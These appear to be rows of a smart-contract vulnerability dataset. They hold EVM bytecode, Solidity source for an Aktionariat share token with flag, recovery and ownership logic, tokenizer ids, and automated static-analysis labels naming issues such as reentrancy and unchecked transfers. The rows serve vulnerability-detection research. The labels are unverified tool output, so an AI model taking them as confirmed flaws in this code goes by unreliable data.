9250601f915082845b815481526020019060010190808311615255575050505050905060005b825181101561529c5760018282601f811061528957fe5b6020020151039590950194600101615272565b505050505090565b6000818310156152b5575081611b22565b50919050565b602083810286019082020160e4019695505050505050565b60408051808201909152602d546001600160a01b0381168083527401000000000000000000000000000000000000000090910463ffffffff16602083015261531b57506126a0565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff830163ffffffff8181166000818152602b602090815260408083205487518884015183517fbeed9b510000000000000000000000000000000000000000000000000000000081526004810197909752601792830b90920b602487018190528b88166044880152606487018b9052925192966001600160a01b039091169563beed9b51959290911693608480830194919391928390030190829088803b1580156153e457600080fd5b5087f19350505050801561540a57506040513d602081101561540557600080fd5b505160015b612a9d576125ae565b3360009081526027602090815260408083208151808301909252805460ff8082168452929391929184019161010090910416600281111561545057fe5b600281111561545b57fe5b9052506040805160a08101825260025463ffffffff80821683526401000000008204811660208401526801000000000000000082048116838501526c0100000000000000000000000082048116606084015270010000000000000000000000000000000090910416608082015281516103e08101928390529293509161552b91859190600490601f90826000855b82829054906101000a900461ffff1661ffff16815260200190600201906020826001010492830192600103820291508084116154e95790505050505050615773565b61553990600490601f61591c565b5060028260200151600281111561554c57fe5b1461559e576040805162461bcd60e51b815260206004820181905260248201527f73656e7420627920756e64657369676e61746564207472616e736d6974746572604482015290519081900360640190fd5b60006155c5633b9aca003a04836020015163ffffffff16846000015163ffffffff166157e8565b90506010360260005a905060006155e48863ffffffff1685858561580e565b6fffffffffffffffffffffffffffffffff1690506000620f4240866040015163ffffffff1683028161561257fe5b049050856080015163ffffffff16633b9aca0002816008896000015160ff16601f811061563b57fe5b015401016008886000015160ff16601f811061565357fe5b0155505050505050505050565b6003546001600160a01b0390811690821681146126a057600380547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b03848116918217909255604080519284168352602083019190915280517f793cb73064f3c8cde7e187ae515511e6e56d1ee89bf08b82fa60fb70f8d489129281900390910190a15050565b602a54760100000000000000000000000000000000000000000000900463ffffffff166000818152602b6020908152604091829020825180840190935254601781810b810b810b808552780100000000000000000000000000000000000000000000000090920467ffffffffffffffff1693909201839052929392900b9181908490565b61577b6158e6565b60005b83518110156157e057600084828151811061579557fe5b016020015160f81c90506157ba8482601f81106157ae57fe5b6020020151600161589a565b848260ff16601f81106157c957fe5b61ffff90921660209290920201525060010161577e565b509092915050565b600083838110156157fb57600285850304015b61580581846152a4565b95945050505050565b600081851015615865576040805162461bcd60e51b815260206004820181905260248201527f6761734c6566742063616e6e6f742065786365656420696e697469616c476173604482015290519081900360640190fd5b818503830161179301633b9aca00858202026fffffffffffffffffffffffffffffffff811061589057fe5b9695505050505050565b6000611b1f8261ffff168461ffff160161ffff6152a4565b6040518060a001604052806158c56159e0565b81526060602082018190526040820181905280820152600060809091015290565b604051806103e00160405280601f906020820280368337509192915050565b604080518082019091526000808252602082015290565b6002830191839082156159a25791602002820160005b8382111561597257835183826101000a81548161ffff021916908361ffff1602179055509260200192600201602081600101049283019260010302615932565b80156159a05782816101000a81549061ffff0219169055600201602081600101049283019260010302615972565b505b506159ae929150615a07565b5090565b82601f81019282156159a2579160200282015b828111156159a25782518255916020019190600101906159c5565b60408051608081018252600080825260208201819052918101829052606081019190915290565b5b808211156159ae5760008155600101615a0856fe6f7261636c6520616464726573736573206f7574206f6620726567697374726174696f6e416363657373436f6e74726f6c6c65644f6666636861696e41676772656761746f7220322e302e30a2646970667358221220ecb65e2069c65f54ce04dfa871092389f10ea3417b6b718ee60553278f7cca8a64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "array-by-reference", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'array-by-reference', 'impact': 'High', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
26976,
2629,
2497,
27009,
2094,
2581,
11387,
26187,
26187,
2692,
2620,
2497,
16932,
2094,
29097,
16147,
7875,
19961,
2063,
21472,
2475,
2050,
24096,
22394,
2620,
2094,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1021,
1012,
1015,
1025,
12324,
1000,
1012,
1013,
2125,
24925,
2532,
13871,
2890,
20697,
2953,
1012,
14017,
1000,
1025,
12324,
1000,
1012,
1013,
16325,
13775,
6305,
9623,
9363,
3372,
26611,
1012,
14017,
1000,
1025,
1013,
1008,
1008,
1008,
1030,
5060,
10236,
4842,
1997,
2125,
24925,
2532,
13871,
2890,
20697,
2953,
2029,
14148,
3191,
3229,
2006,
24089,
1011,
8278,
4725,
1008,
1013,
3206,
3229,
8663,
13181,
11001,
7245,
24925,
2532,
13871,
2890,
20697,
2953,
2003,
2125,
24925,
2532,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,598 | 0x9566083Cfce8615c4861Bc36cCBa98B172031277 | // SPDX-License-Identifier: MIT
// Copied and adjusted from OpenZeppelin
// Adjustments:
// - modifications to support ERC-677
// - removed unnecessary require statements
// - removed GSN Context
// - upgraded to 0.8 to drop SafeMath
// - let name() and symbol() be implemented by subclass
// - infinite allowance support, with 2^255 and above considered infinite
// - use upper 32 bits of balance for flags
// - add a global settings variable
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./IERC677Receiver.sol";
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
abstract contract ERC20Flaggable is IERC20 {
// as Documented in /doc/infiniteallowance.md
uint256 constant private INFINITE_ALLOWANCE = 2**255;
uint256 private constant FLAGGING_MASK = 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000;
// Documentation of flags used by subclasses:
// NOTE: flags denote the bit number that is being used and must be smaller than 32
// ERC20Draggable: uint8 private constant FLAG_INDEX_VOTED = 1;
// ERC20Recoverable: uint8 private constant FLAG_INDEX_CLAIM_PRESENT = 10;
// ERCAllowlistable: uint8 private constant FLAG_INDEX_ALLOWLIST = 20;
// ERCAllowlistable: uint8 private constant FLAG_INDEX_FORBIDDEN = 21;
// ERCAllowlistable: uint8 private constant FLAG_INDEX_POWERLIST = 22;
mapping (address => uint256) private _balances; // upper 32 bits reserved for flags
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public override decimals;
event NameChanged(string name, string symbol);
constructor(uint8 _decimals) {
decimals = _decimals;
}
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view override returns (uint256) {
return uint224 (_balances [account]);
}
function hasFlag(address account, uint8 number) external view returns (bool) {
return hasFlagInternal(account, number);
}
function setFlag(address account, uint8 index, bool value) internal {
uint256 flagMask = 1 << (index + 224);
uint256 balance = _balances [account];
if ((balance & flagMask == flagMask) != value) {
_balances [account] = balance ^ flagMask;
}
}
function hasFlagInternal(address account, uint8 number) internal view returns (bool) {
uint256 flag = 0x1 << (number + 224);
return _balances[account] & flag == flag;
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
if (currentAllowance < INFINITE_ALLOWANCE){
// Only decrease the allowance if it was not set to 'infinite'
// Documented in /doc/infiniteallowance.md
_allowances[sender][msg.sender] = currentAllowance - amount;
}
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
_beforeTokenTransfer(sender, recipient, amount);
decreaseBalance(sender, amount);
increaseBalance(recipient, amount);
emit Transfer(sender, recipient, amount);
}
// ERC-677 functionality, can be useful for swapping and wrapping tokens
function transferAndCall(address recipient, uint amount, bytes calldata data) external virtual returns (bool) {
return transfer (recipient, amount)
&& IERC677Receiver (recipient).onTokenTransfer (msg.sender, amount, data);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address recipient, uint256 amount) internal virtual {
_beforeTokenTransfer(address(0), recipient, amount);
_totalSupply += amount;
increaseBalance(recipient, amount);
emit Transfer(address(0), recipient, amount);
}
function increaseBalance(address recipient, uint256 amount) private {
require(recipient != address(0x0), "0x0"); // use burn instead
uint256 oldBalance = _balances[recipient];
uint256 newBalance = oldBalance + amount;
require(oldBalance & FLAGGING_MASK == newBalance & FLAGGING_MASK, "overflow");
_balances[recipient] = newBalance;
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
_beforeTokenTransfer(account, address(0), amount);
_totalSupply -= amount;
decreaseBalance(account, amount);
emit Transfer(account, address(0), amount);
}
function decreaseBalance(address sender, uint256 amount) private {
uint256 oldBalance = _balances[sender];
uint256 newBalance = oldBalance - amount;
require(oldBalance & FLAGGING_MASK == newBalance & FLAGGING_MASK, "underflow");
_balances[sender] = newBalance;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
// solhint-disable-next-line no-empty-blocks
function _beforeTokenTransfer(address from, address to, uint256 amount) virtual internal {
// intentionally left blank
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC20Flaggable.sol";
import "../utils/Ownable.sol";
contract ERC20Named is ERC20Flaggable, Ownable {
string public override name;
string public override symbol;
constructor(string memory _symbol, string memory _name, uint8 _decimals, address _admin) ERC20Flaggable(_decimals) Ownable(_admin) {
setNameInternal(_symbol, _name);
}
function setName(string memory _symbol, string memory _name) external onlyOwner {
setNameInternal(_symbol, _name);
}
function setNameInternal(string memory _symbol, string memory _name) internal {
symbol = _symbol;
name = _name;
emit NameChanged(_name, _symbol);
}
}
/**
* SPDX-License-Identifier: MIT
*
* Copyright (c) 2016-2019 zOS Global Limited
*
*/
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
// Optional functions
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC677Receiver {
function onTokenTransfer(address from, uint256 amount, bytes calldata data) external returns (bool);
}
/**
* SPDX-License-Identifier: LicenseRef-Aktionariat
*
* MIT License with Automated License Fee Payments
*
* Copyright (c) 2020 Aktionariat AG (aktionariat.com)
*
* Permission is hereby granted to any person obtaining a copy of this software
* and associated documentation files (the "Software"), to deal in the Software
* without restriction, including without limitation the rights to use, copy,
* modify, merge, publish, distribute, sublicense, and/or sell copies of the
* Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* - The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
* - All automated license fee payments integrated into this and related Software
* are preserved.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
pragma solidity ^0.8.0;
import "../ERC20/ERC20Flaggable.sol";
import "./IRecoveryHub.sol";
import "./IRecoverable.sol";
/**
* @title Recoverable
* In case of tokens that represent real-world assets such as shares of a company, one needs a way
* to handle lost private keys. With physical certificates, courts can declare share certificates as
* invalid so the company can issue replacements. Here, we want a solution that does not depend on
* third parties to resolve such cases. Instead, when someone has lost a private key, he can use the
* declareLost function on the recovery hub to post a deposit and claim that the shares assigned to a
* specific address are lost.
* If an attacker trying to claim shares belonging to someone else, they risk losing the deposit
* as it can be claimed at anytime by the rightful owner.
* Furthermore, if "getClaimDeleter" is defined in the subclass, the returned address is allowed to
* delete claims, returning the collateral. This can help to prevent obvious cases of abuse of the claim
* function, e.g. cases of front-running.
* Most functionality is implemented in a shared RecoveryHub.
*/
abstract contract ERC20Recoverable is ERC20Flaggable, IRecoverable {
uint8 private constant FLAG_CLAIM_PRESENT = 10;
// ERC-20 token that can be used as collateral or 0x0 if disabled
IERC20 public customCollateralAddress;
// Rate the custom collateral currency is multiplied to be valued like one share.
uint256 public customCollateralRate;
uint256 constant CLAIM_PERIOD = 180 days;
IRecoveryHub public immutable recovery;
constructor(IRecoveryHub recoveryHub){
recovery = recoveryHub;
}
/**
* Returns the collateral rate for the given collateral type and 0 if that type
* of collateral is not accepted. By default, only the token itself is accepted at
* a rate of 1:1.
*
* Subclasses should override this method if they want to add additional types of
* collateral.
*/
function getCollateralRate(IERC20 collateralType) public override virtual view returns (uint256) {
if (address(collateralType) == address(this)) {
return 1;
} else if (collateralType == customCollateralAddress) {
return customCollateralRate;
} else {
return 0;
}
}
function claimPeriod() external pure override returns (uint256){
return CLAIM_PERIOD;
}
/**
* Allows subclasses to set a custom collateral besides the token itself.
* The collateral must be an ERC-20 token that returns true on successful transfers and
* throws an exception or returns false on failure.
* Also, do not forget to multiply the rate in accordance with the number of decimals of the collateral.
* For example, rate should be 7*10**18 for 7 units of a collateral with 18 decimals.
*/
function _setCustomClaimCollateral(IERC20 collateral, uint256 rate) internal {
customCollateralAddress = collateral;
if (address(customCollateralAddress) == address(0)) {
customCollateralRate = 0; // disabled
} else {
require(rate > 0, "zero");
customCollateralRate = rate;
}
}
function getClaimDeleter() virtual public view returns (address);
function transfer(address recipient, uint256 amount) override(ERC20Flaggable, IERC20) virtual public returns (bool) {
require(super.transfer(recipient, amount), "transfer");
if (hasFlagInternal(msg.sender, FLAG_CLAIM_PRESENT)){
recovery.clearClaimFromToken(msg.sender);
}
return true;
}
function notifyClaimMade(address target) external override {
require(msg.sender == address(recovery), "not recovery");
setFlag(target, FLAG_CLAIM_PRESENT, true);
}
function notifyClaimDeleted(address target) external override {
require(msg.sender == address(recovery), "not recovery");
setFlag(target, FLAG_CLAIM_PRESENT, false);
}
function deleteClaim(address lostAddress) external {
require(msg.sender == getClaimDeleter(), "not claim deleter");
recovery.deleteClaim(lostAddress);
}
function recover(address oldAddress, address newAddress) external override {
require(msg.sender == address(recovery), "not recovery");
_transfer(oldAddress, newAddress, balanceOf(oldAddress));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC20/IERC20.sol";
interface IRecoverable is IERC20{
function claimPeriod() external view returns (uint256);
function notifyClaimMade(address target) external;
function notifyClaimDeleted(address target) external;
function getCollateralRate(IERC20 collateral) external view returns(uint256);
function recover(address oldAddress, address newAddress) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IRecoveryHub {
function setRecoverable(bool flag) external;
// deletes claim and transfers collateral back to claimer
function deleteClaim(address target) external;
// clears claim and transfers collateral to holder
function clearClaimFromToken(address holder) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IShares {
function burn(uint256) external;
function totalShares() external view returns (uint256);
}
/**
* SPDX-License-Identifier: LicenseRef-Aktionariat
*
* MIT License with Automated License Fee Payments
*
* Copyright (c) 2020 Aktionariat AG (aktionariat.com)
*
* Permission is hereby granted to any person obtaining a copy of this software
* and associated documentation files (the "Software"), to deal in the Software
* without restriction, including without limitation the rights to use, copy,
* modify, merge, publish, distribute, sublicense, and/or sell copies of the
* Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* - The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
* - All automated license fee payments integrated into this and related Software
* are preserved.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
pragma solidity ^0.8.0;
import "../ERC20/ERC20Named.sol";
import "../ERC20/IERC677Receiver.sol";
import "../recovery/ERC20Recoverable.sol";
import "../shares/IShares.sol";
/**
* @title CompanyName AG Shares
* @author Luzius Meisser, [emailΒ protected]
*
* These tokens represent ledger-based securities according to article 973d of the Swiss Code of Obligations.
* This smart contract serves as an ownership registry, enabling the token holders to register them as
* shareholders in the issuer's shareholder registry. This is equivalent to the traditional system
* of having physical share certificates kept at home by the shareholders and a shareholder registry run by
* the company. Just like with physical certificates, the owners of the tokens are the owners of the shares.
* However, in order to exercise their rights (for example receive a dividend), shareholders must register
* themselves. For example, in case the company pays out a dividend to a previous shareholder because
* the current shareholder did not register, the company cannot be held liable for paying the dividend to
* the "wrong" shareholder. In relation to the company, only the registered shareholders count as such.
*/
contract Shares is ERC20Recoverable, ERC20Named, IShares{
string public terms;
uint256 public override totalShares; // total number of shares, maybe not all tokenized
uint256 public invalidTokens;
event Announcement(string message);
event TokensDeclaredInvalid(address indexed holder, uint256 amount, string message);
event ChangeTerms(string terms);
event ChangeTotalShares(uint256 total);
constructor(
string memory _symbol,
string memory _name,
string memory _terms,
uint256 _totalShares,
address _owner,
IRecoveryHub _recoveryHub
)
ERC20Named(_symbol, _name, 0, _owner)
ERC20Recoverable(_recoveryHub)
{
totalShares = _totalShares;
terms = _terms;
invalidTokens = 0;
_recoveryHub.setRecoverable(false);
}
function setTerms(string memory _terms) external onlyOwner {
terms = _terms;
emit ChangeTerms(_terms);
}
/**
* Declares the number of total shares, including those that have not been tokenized and those
* that are held by the company itself. This number can be substiantially higher than totalSupply()
* in case not all shares have been tokenized. Also, it can be lower than totalSupply() in case some
* tokens have become invalid.
*/
function setTotalShares(uint256 _newTotalShares) external onlyOwner() {
require(_newTotalShares >= totalValidSupply(), "below supply");
totalShares = _newTotalShares;
emit ChangeTotalShares(_newTotalShares);
}
/**
* Allows the issuer to make public announcements that are visible on the blockchain.
*/
function announcement(string calldata message) external onlyOwner() {
emit Announcement(message);
}
/**
* See parent method for collateral requirements.
*/
function setCustomClaimCollateral(IERC20 collateral, uint256 rate) external onlyOwner() {
super._setCustomClaimCollateral(collateral, rate);
}
function getClaimDeleter() public override view returns (address) {
return owner;
}
/**
* Signals that the indicated tokens have been declared invalid (e.g. by a court ruling in accordance
* with article 973g of the Swiss Code of Obligations) and got detached from
* the underlying shares. Invalid tokens do not carry any shareholder rights any more.
*
* This function is purely declarative. It does not technically immobilize the affected tokens as
* that would give the issuer too much power.
*/
function declareInvalid(address holder, uint256 amount, string calldata message) external onlyOwner() {
uint256 holderBalance = balanceOf(holder);
require(amount <= holderBalance, "amount too high");
invalidTokens += amount;
emit TokensDeclaredInvalid(holder, amount, message);
}
/**
* The total number of valid tokens in circulation. In case some tokens have been declared invalid, this
* number might be lower than totalSupply(). Also, it will always be lower than or equal to totalShares().
*/
function totalValidSupply() public view returns (uint256) {
return totalSupply() - invalidTokens;
}
/**
* Allows the company to tokenize shares and transfer them e.g to the draggable contract and wrap them.
* If these shares are newly created, setTotalShares must be called first in order to adjust the total number of shares.
*/
function mintAndCall(address shareholder, address callee, uint256 amount, bytes calldata data) external {
mint(callee, amount);
require(IERC677Receiver(callee).onTokenTransfer(shareholder, amount, data));
}
function mint(address target, uint256 amount) public onlyOwner {
_mint(target, amount);
}
function _mint(address account, uint256 amount) internal virtual override {
require(totalValidSupply() + amount <= totalShares, "total");
super._mint(account, amount);
}
function transfer(address to, uint256 value) virtual override(ERC20Recoverable, ERC20Flaggable) public returns (bool) {
return super.transfer(to, value);
}
/**
* Transfers _amount tokens to the company and burns them.
* The meaning of this operation depends on the circumstances and the fate of the shares does
* not necessarily follow the fate of the tokens. For example, the company itself might call
* this function to implement a formal decision to destroy some of the outstanding shares.
* Also, this function might be called by an owner to return the shares to the company and
* get them back in another form under an according agreement (e.g. printed certificates or
* tokens on a different blockchain). It is not recommended to call this function without
* having agreed with the company on the further fate of the shares in question.
*/
function burn(uint256 _amount) override external {
_transfer(msg.sender, address(this), _amount);
_burn(address(this), _amount);
}
}
// SPDX-License-Identifier: MIT
//
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol
//
// Modifications:
// - Replaced Context._msgSender() with msg.sender
// - Made leaner
// - Extracted interface
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor (address initialOwner) {
owner = initialOwner;
emit OwnershipTransferred(address(0), owner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) external onlyOwner {
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier onlyOwner() {
require(owner == msg.sender, "not owner");
_;
}
} | 0x608060405234801561001057600080fd5b506004361061021c5760003560e01c8063648bf77411610125578063b0d04c7a116100ad578063ddceafa91161007c578063ddceafa91461048e578063e5b824ec146104b5578063f2fde38b146104c8578063f54fc060146104db578063f5c0b95f146104ee57600080fd5b8063b0d04c7a14610432578063c18172c41461043a578063d50256251461044d578063dd62ed3e1461045557600080fd5b80637dc2cd98116100f45780637dc2cd98146103e85780638da5cb5b146103f157806395d89b4114610404578063a77384c11461040c578063a9059cbb1461041f57600080fd5b8063648bf7741461039c57806370a08231146103af57806377e071ad146103c257806378f86afc146103d557600080fd5b806337a8129c116101a857806340c10f191161017757806340c10f191461034757806342966c681461035a5780635c707f071461036d5780635d6624b714610380578063609181171461039357600080fd5b806337a8129c1461030f5780633a1cdf32146103185780633a98ef391461032b5780634000aea01461033457600080fd5b80631f0f06aa116101ef5780631f0f06aa146102a457806323b872dd146102b95780632a0a4ed5146102cc578063313ce567146102dd57806332a7ae95146102fc57600080fd5b806306fdde0314610221578063095ea7b31461023f5780630c6f0e5d1461026257806318160ddd14610292575b600080fd5b610229610501565b6040516102369190611811565b60405180910390f35b61025261024d36600461157b565b61058f565b6040519015158152602001610236565b60035461027a9061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610236565b6002545b604051908152602001610236565b6102b76102b2366004611659565b6105a5565b005b6102526102c73660046114c7565b610615565b6005546001600160a01b031661027a565b6003546102ea9060ff1681565b60405160ff9091168152602001610236565b6102b761030a366004611471565b61068c565b610296600a5481565b6102b761032636600461157b565b610758565b61029660095481565b6102526103423660046115a7565b610790565b6102b761035536600461157b565b610830565b6102b761036836600461173c565b610864565b6102b761037b3660046116d8565b61087c565b6102b761038e3660046115a7565b6108b0565b61029660045481565b6102b76103aa36600461148e565b61098e565b6102966103bd366004611471565b6109e9565b6102966103d0366004611471565b610a0d565b6102b76103e336600461169b565b610a53565b62ed4e00610296565b60055461027a906001600160a01b031681565b610229610acb565b6102b761041a36600461173c565b610ad8565b61025261042d36600461157b565b610b7d565b610296610b90565b6102b7610448366004611471565b610bad565b610229610c02565b61029661046336600461148e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61027a7f0000000000000000000000009b886c04ce3cfb74e644de92d65cfb873636e1fb81565b6102b76104c3366004611471565b610c0f565b6102b76104d6366004611471565b610c64565b6102b76104e9366004611508565b610cea565b6102526104fc366004611603565b610d81565b60068054